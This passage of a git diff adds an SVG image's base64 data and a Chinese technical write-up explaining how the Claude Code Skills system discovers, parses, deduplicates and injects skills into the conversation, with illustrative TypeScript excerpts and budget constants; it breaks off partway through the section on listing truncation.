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ASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAIAkUQ0AAAAAkkQ1AAAAAEgS1QAAAAAgSVQDAAAAgCRRDQAAAACSRDUAAAAASBLVAAAAACBJVAMAAACAJFENAAAAAJJENQAAAABIEtUAAAAAIElUAwAAAICMiPg3XUDrZwCe96kAAAAASUVORK5CYII="/>
+</svg>
\ No newline at end of file
diff --git a/cc-haha/docs/skills/02-implementation.md b/cc-haha/docs/skills/02-implementation.md
new file mode 100644
index 0000000..29ad9e8
--- /dev/null
+++ b/cc-haha/docs/skills/02-implementation.md
@@ -0,0 +1,897 @@
+# Claude Code Skills 系统 — 实现原理
+
+> 深度剖析 Skills 如何被发现、加载、注入、执行和管理。
+
+<p align="center">
+<a href="#一整体架构">整体架构</a> · <a href="#二skill-发现与加载">发现与加载</a> · <a href="#三frontmatter-解析">Frontmatter 解析</a> · <a href="#四skill-注入到对话">注入对话</a> · <a href="#五skilltool-执行引擎">执行引擎</a> · <a href="#六fork-子代理执行">Fork 执行</a> · <a href="#七条件激活与动态发现">条件激活</a> · <a href="#八hook-集成">Hook 集成</a> · <a href="#九权限系统">权限系统</a> · <a href="#十完整生命周期">完整生命周期</a> · <a href="#十一源码索引">源码索引</a>
+</p>
+
+![Skills 架构概览](./images/04-skills-architecture.png)
+
+---
+
+## 一、整体架构
+
+Skills 系统由 5 个核心模块协同工作：
+
+```
+┌─────────────────────────────────────────────────────┐
+│                   Skills 系统                        │
+│                                                     │
+│  ┌─────────────┐  ┌──────────────┐  ┌────────────┐ │
+│  │  Discovery   │  │   Prompt     │  │  SkillTool │ │
+│  │  发现 & 加载  │→│  注入 & 呈现  │→│  执行引擎   │ │
+│  └─────────────┘  └──────────────┘  └────────────┘ │
+│         ↑                                    ↓      │
+│  ┌─────────────┐                     ┌────────────┐ │
+│  │  Activation  │                     │  Context   │ │
+│  │  条件激活    │←────────────────────│  上下文修改 │ │
+│  └─────────────┘                     └────────────┘ │
+└─────────────────────────────────────────────────────┘
+```
+
+### 模块职责
+
+| 模块 | 核心文件 | 职责 |
+|------|---------|------|
+| Discovery | `loadSkillsDir.ts` | 从 6 种来源发现和加载 Skills |
+| Prompt | `prompt.ts` + `attachments.ts` | 将 Skill 列表注入 system-reminder |
+| SkillTool | `SkillTool.ts` | 验证、权限检查、执行 Skill |
+| Activation | `loadSkillsDir.ts` (后半段) | 条件激活和动态发现 |
+| Context | `forkedAgent.ts` | 上下文准备和修改 |
+
+---
+
+## 二、Skill 发现与加载
+
+### 加载入口
+
+Skills 加载从 `commands.ts` 的 `getSkills()` 函数开始：
+
+```typescript
+// src/commands.ts:351-396
+async function getSkills(cwd: string) {
+  const [skillDirCommands, pluginSkills] = await Promise.all([
+    getSkillDirCommands(cwd),    // 目录 Skills（managed/user/project）
+    getPluginSkills(),            // 插件 Skills
+  ])
+  const bundledSkills = getBundledSkills()          // 内置 Skills
+  const builtinPluginSkills = getBuiltinPluginSkillCommands()  // 内置插件 Skills
+  return { skillDirCommands, pluginSkills, bundledSkills, builtinPluginSkills }
+}
+```
+
+### 聚合与排序
+
+所有来源的 Skills 汇总到 `loadAllCommands()`，按优先级排列：
+
+```typescript
+// src/commands.ts:447-467
+const loadAllCommands = memoize(async (cwd: string): Promise<Command[]> => {
+  return [
+    ...bundledSkills,        // 1. 内置 Skills（最高优先级）
+    ...builtinPluginSkills,  // 2. 内置插件 Skills
+    ...skillDirCommands,     // 3. 目录 Skills（managed → user → project）
+    ...workflowCommands,     // 4. Workflow 命令
+    ...pluginCommands,       // 5. 插件命令
+    ...pluginSkills,         // 6. 插件 Skills
+    ...COMMANDS(),           // 7. 内建命令（最低优先级）
+  ]
+})
+```
+
+**关键特性：** 使用 `memoize` 缓存，避免重复磁盘 I/O。
+
+### 目录 Skill 加载流程
+
+![Skill 加载流程](./images/05-skill-loading.png)
+
+`getSkillDirCommands()` 是目录 Skills 的核心加载函数：
+
+```
+getSkillDirCommands(cwd)
+├─ 确定加载路径
+│  ├─ managed: ${MANAGED_PATH}/.claude/skills/
+│  ├─ user:    ~/.claude/skills/
+│  ├─ project: .claude/skills/ (向上遍历到 HOME)
+│  └─ additional: --add-dir 指定的路径
+│
+├─ 并行加载（Promise.all）
+│  ├─ loadSkillsFromSkillsDir(managedDir, 'policySettings')
+│  ├─ loadSkillsFromSkillsDir(userDir, 'userSettings')
+│  ├─ loadSkillsFromSkillsDir(projectDirs, 'projectSettings')
+│  ├─ loadSkillsFromSkillsDir(additionalDirs, 'projectSettings')
+│  └─ loadSkillsFromCommandsDir(cwd)  ← 兼容遗留 /commands/ 格式
+│
+├─ 去重（按 realpath）
+│  └─ getFileIdentity(filePath) → realpath 解析符号链接
+│     └─ seenFileIds Map，首次出现者胜出
+│
+└─ 分离条件 Skills
+   ├─ 无 paths → unconditionalSkills（立即可用）
+   └─ 有 paths → conditionalSkills Map（等待激活）
+```
+
+### 去重机制
+
+```typescript
+// src/skills/loadSkillsDir.ts:725-763
+const fileIds = await Promise.all(
+  allSkillsWithPaths.map(({ skill, filePath }) =>
+    skill.type === 'prompt'
+      ? getFileIdentity(filePath)  // realpath() 解析符号链接
+      : Promise.resolve(null),
+  ),
+)
+
+const seenFileIds = new Map<string, SettingSource>()
+for (const entry of allSkillsWithPaths) {
+  const fileId = fileIds[i]
+  const existingSource = seenFileIds.get(fileId)
+  if (existingSource !== undefined) continue  // 跳过重复
+  seenFileIds.set(fileId, skill.source)
+  deduplicatedSkills.push(skill)
+}
+```
+
+### Bundled Skill 注册
+
+内置 Skills 使用完全不同的注册路径：
+
+```typescript
+// src/skills/bundledSkills.ts:53-100
+export function registerBundledSkill(definition: BundledSkillDefinition): void {
+  // 如果有 files，创建提取目录和延迟提取逻辑
+  if (files && Object.keys(files).length > 0) {
+    skillRoot = getBundledSkillExtractDir(definition.name)
+    // 首次调用时提取文件到磁盘
+    getPromptForCommand = async (args, ctx) => {
+      extractionPromise ??= extractBundledSkillFiles(name, files)
+      const extractedDir = await extractionPromise
+      const blocks = await inner(args, ctx)
+      return prependBaseDir(blocks, extractedDir)
+    }
+  }
+
+  const command: Command = {
+    type: 'prompt',
+    source: 'bundled',
+    loadedFrom: 'bundled',
+    // ...其他字段
+  }
+  bundledSkills.push(command)
+}
+```
+
+**文件提取：** Bundled Skills 可以携带 `files: Record<string, string>` 字段，首次调用时将这些文件提取到磁盘（`getBundledSkillExtractDir()`），让模型能通过 Read/Grep 访问。
+
+### 启动注册
+
+```typescript
+// src/skills/bundled/index.ts:13-58
+export function initBundledSkills(): void {
+  require('./verify.js').registerVerifySkill()
+  require('./debug.js').registerDebugSkill()
+  require('./remember.js').registerRememberSkill()
+  // ...
+  if (feature('AGENT_TRIGGERS')) {
+    require('./loop.js').registerLoopSkill()     // 特性门控
+  }
+  if (feature('KAIROS')) {
+    require('./dream.js').registerDreamSkill()    // 特性门控
+  }
+}
+```
+
+### Plugin Skill 加载
+
+```
+插件系统
+├─ loadAllPluginsCacheOnly()
+│  └─ 获取所有已启用插件
+│
+├─ 每个插件:
+│  ├─ 读取 manifest.skillsPath → 默认 Skills 目录
+│  ├─ 读取 manifest.skillsPaths[] → 额外 Skills 目录
+│  └─ loadSkillsFromDirectory() 加载 SKILL.md
+│
+├─ 命名空间:
+│  └─ {pluginName}:{namespace}:{skillName}
+│     例如: superpowers:code-reviewer
+│
+└─ 变量替换:
+   ├─ ${CLAUDE_PLUGIN_ROOT} → 插件根目录
+   ├─ ${CLAUDE_PLUGIN_DATA} → 插件数据目录
+   ├─ ${CLAUDE_SKILL_DIR}   → 技能目录
+   └─ ${user_config.X}      → 用户配置值
+```
+
+### MCP Skill 加载
+
+```typescript
+// src/services/mcp/client.ts:2030-2102
+// MCP prompts 转换为 Command 对象
+async function fetchCommandsForClient(client) {
+  const prompts = await client.listPrompts()
+  return prompts.map(prompt => ({
+    type: 'prompt',
+    name: `mcp__${normalizeNameForMCP(serverName)}__${prompt.name}`,
+    source: 'mcp',
+    loadedFrom: 'mcp',
+    // getPromptForCommand 调用 MCP 服务器获取内容
+  }))
+}
+```
+
+**特性门控：** `feature('MCP_SKILLS')` 控制 MCP Skills 是否可用。
+
+---
+
+## 三、Frontmatter 解析
+
+### 解析流程
+
+```
+SKILL.md 文件
+    ↓
+parseFrontmatter()              ← frontmatterParser.ts
+    ├─ 分离 YAML frontmatter 和 Markdown 内容
+    ├─ quoteProblematicValues()  ← 处理特殊字符（glob 模式等）
+    └─ parseYaml()               ← 解析 YAML
+    ↓
+parseSkillFrontmatterFields()   ← loadSkillsDir.ts:185-265
+    ├─ description 提取优先级:
+    │  1. frontmatter.description 字段
+    │  2. Markdown 第一个 # 标题
+    │  3. 技能名称兜底
+    ├─ parseUserSpecifiedModel()     ← 模型别名解析
+    ├─ parseEffortValue()            ← 力度级别解析
+    ├─ parseHooksFromFrontmatter()   ← Hook 配置验证
+    ├─ parseBooleanFrontmatter()     ← boolean 字段解析
+    └─ parseSlashCommandToolsFromFrontmatter() ← 工具列表解析
+    ↓
+createSkillCommand()            ← loadSkillsDir.ts:270-401
+    └─ 生成 Command 对象（含 getPromptForCommand 闭包）
+```
+
+### FrontmatterData 类型定义
+
+```typescript
+// src/utils/frontmatterParser.ts:10-59
+export type FrontmatterData = {
+  'allowed-tools'?: string | string[] | null
+  description?: string | null
+  'argument-hint'?: string | null
+  when_to_use?: string | null
+  version?: string | null
+  model?: string | null          // haiku, sonnet, opus, inherit
+  'user-invocable'?: string | null
+  'disable-model-invocation'?: string | null
+  hooks?: HooksSettings | null
+  effort?: string | null         // low, medium, high, max, 或数字
+  context?: 'inline' | 'fork' | null
+  agent?: string | null
+  paths?: string | string[] | null
+  shell?: string | null          // bash, powershell
+  [key: string]: unknown
+}
+```
+
+### getPromptForCommand 闭包
+
+每个 Command 对象都包含一个 `getPromptForCommand` 闭包，在调用时执行：
+
+```typescript
+// src/skills/loadSkillsDir.ts:344-399
+async getPromptForCommand(args, toolUseContext) {
+  // 1. 添加基目录头
+  let finalContent = baseDir
+    ? `Base directory for this skill: ${baseDir}\n\n${markdownContent}`
+    : markdownContent
+
+  // 2. 参数替换
+  finalContent = substituteArguments(finalContent, args, true, argumentNames)
+
+  // 3. 技能目录变量替换
+  if (baseDir) {
+    finalContent = finalContent.replace(/\$\{CLAUDE_SKILL_DIR\}/g, skillDir)
+  }
+
+  // 4. 会话 ID 替换
+  finalContent = finalContent.replace(/\$\{CLAUDE_SESSION_ID\}/g, getSessionId())
+
+  // 5. 执行内联 Shell 命令（MCP Skills 跳过此步 — 安全限制）
+  if (loadedFrom !== 'mcp') {
+    finalContent = await executeShellCommandsInPrompt(finalContent, context)
+  }
+
+  return [{ type: 'text', text: finalContent }]
+}
+```
+
+---
+
+## 四、Skill 注入到对话
+
+### 注入流程
+
+![Skill 列表注入](./images/06-skill-injection.png)
+
+Skills 通过 `system-reminder` 消息注入到对话中：
+
+```
+每轮对话开始
+    ↓
+getSkillListingAttachments()          ← attachments.ts:2600-2747
+    ├─ getSkillToolCommands(cwd)      ← 获取所有模型可调用 Skills
+    ├─ getMcpSkillCommands()          ← 获取 MCP Skills
+    ├─ sentSkillNames Map 追踪        ← 避免重复发送（per-agent）
+    └─ formatCommandsWithinBudget()   ← 按上下文预算截断
+    ↓
+返回 Attachment:
+  { type: 'skill_listing', content, skillCount, isInitial }
+    ↓
+normalizeAttachmentForAPI()           ← messages.ts:3732-3737
+    ↓
+包装为 <system-reminder> 用户消息:
+  "The following skills are available for use with the Skill tool:
+   - commit: Create a git commit...
+   - review-pr: Review a pull request...
+   - superpowers:code-reviewer: Expert code review..."
+```
+
+### 上下文预算控制
+
+```typescript
+// src/tools/SkillTool/prompt.ts:21-29
+export const SKILL_BUDGET_CONTEXT_PERCENT = 0.01  // 上下文窗口的 1%
+export const CHARS_PER_TOKEN = 4
+export const DEFAULT_CHAR_BUDGET = 8_000           // 200k × 4 × 1% 兜底
+export const MAX_LISTING_DESC_CHARS = 250          // 每条描述上限
+```
+
+**截断策略：**
+
+```
